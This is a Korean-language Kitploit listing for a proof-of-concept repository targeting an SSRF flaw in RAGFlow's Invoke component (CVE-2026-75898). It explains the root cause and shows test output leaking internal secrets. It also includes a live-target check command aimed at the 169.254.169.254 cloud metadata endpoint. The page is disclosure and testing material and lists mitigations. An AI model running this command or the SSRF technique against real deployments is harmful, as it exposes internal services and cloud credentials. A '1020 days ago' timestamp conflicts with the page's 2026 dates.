Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/t3bik/cve-2026-75898
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubt3bik/cve-2026-75898

CVE-2026-75898

# CVE-2026-75898 개념 증명 — RAGFlow Invoke 컴포넌트의 SSRF RAGFlow의 Invoke 컴포넌트에서 발생하는 SSRF 취약점(CVE-2026-75898)에 대한 개념 증명입니다. 수정되지 않은 소스로 취약점을 시연하며, E2E 테스트, 수정 전후 비교, 그리고 승인된 보안 테스트를 위한 Docker 기반 재현 환경을 포함합니다.

저장소 보기
1020일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-75898 — RAGFlow Invoke 컴포넌트 SSRF

RAGFlow의 에이전트 워크플로우 "Invoke" 컴포넌트에서 발생하는 서버 측 요청 위조(SSRF, CWE-918) 취약점, 0.26.3 이전 버전.

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
수정 버전v0.26.3
수정 커밋c4fe68e, e16d1a0
이슈 참조infiniflow/ragflow#15425, #18280
권고VulnCheck

근본 원인

v0.26.2의 agent/component/invoke.py에서 Invoke 컴포넌트는 사용자가 제공한 변수 템플릿으로 요청 URL을 구성하며, 확인된 호스트에 대한 검증을 수행하지 않습니다:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

이 URL은 _send_request()의 requests.get/post/put에 도달합니다. allow_redirects가 requests 기본값(True)으로 남아 있기 때문에, 공격자는 다음을 수행할 수 있습니다:

  1. Invoke url을 내부 주소(127.0.0.1, 169.254.169.254, RFC1918 대역, 확인된 호스트 고정(pinning) 없음)로 설정하거나,
  2. 내부 네트워크로 302 리다이렉트하는 공격자 호스트를 가리키게 합니다.

수정은 assert_url_is_safe() + pin_dns()를 추가하고 allow_redirects=False를 강제합니다.

진짜 소스 코드, 재구현이 아님

"유사한" 재구현과 달리, 이 저장소는 취약한 컴포넌트의 수정되지 않은 v0.26.2 소스 코드를 실행합니다:

  • target/invoke_v0.26.2.py — v0.26.2 태그의 agent/component/invoke.py를 바이트 단위로 그대로 복사한 파일.
  • e2e/test_genuine_ssrf.py — 얇은 import 스텁 뒤에서 실제 파일을 로드하고(스텁은 관련 없는 import만 대체: ComponentBase, timeout 데코레이터, HtmlParser — SSRF 경로 로직은 전혀 건드리지 않음), 컴포넌트가 내부 서비스에 직접 및 리다이렉트 체인을 통해 도달함을 증명합니다.
  • e2e/test_fix_guard.py — 동일한 파일에 업스트림 가드(assert_url_is_safe, allow_redirects=False)를 적용하고 요청이 차단됨을 보여줍니다.

재현성

세 가지 독립적인 방법으로 검증되었습니다:

  1. 저장소 로컬 E2E (RAGFlow 설치 불필요): e2e/test_genuine_ssrf.py가 수정되지 않은 target/invoke_v0.26.2.py 소스를 루프백 랩 서버에 대해 실행 — SSRF 확인됨.
  2. 수정 비교: e2e/test_fix_guard.py가 동일한 파일에 업스트림 가드를 적용 — 차단됨.
  3. 전체 Docker 인스턴스: docker compose를 통한 RAGFlow v0.26.2 (infinity+mysql+minio+valkey); 실제 에이전트 흐름의 Invoke 노드가 내부 호스트 포트에서 INTERNAL-DB-SECRET:dbpassword=SuperSecret123을 가져옴. 축어적 증거는 LAB_DEMO.md 참조.

로컬 E2E 실행

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py     # must print BLOCKED (fixed behavior)

예상 출력 (취약 버전)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

라이브 RAGFlow 인스턴스 확인

인증된 세션 토큰이 필요합니다 (Invoke는 에이전트 흐름 내에서 실행됨).

root@kitploit:~
python3 poc.py --poc                                        # local E2E
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

탐지 / 완화

  • RAGFlow ≥ 0.26.3으로 업그레이드.
  • 에이전트 Invoke 노드 URL 템플릿을 허용 목록(allowlist)으로 제한.
  • RAGFlow 백엔드에서 내부/클라우드 메타데이터 대역에 대한 이그레스 필터링.

공개

RAGFlow v0.26.3(2026년 8월)에서 수정됨. 이 PoC는 공개 권고 및 수정 커밋에서 승인된 보안 테스트 및 교육 목적으로만 독립적으로 재구성되었습니다. InfiniFlow와 관련이 없습니다.

도구 다운로드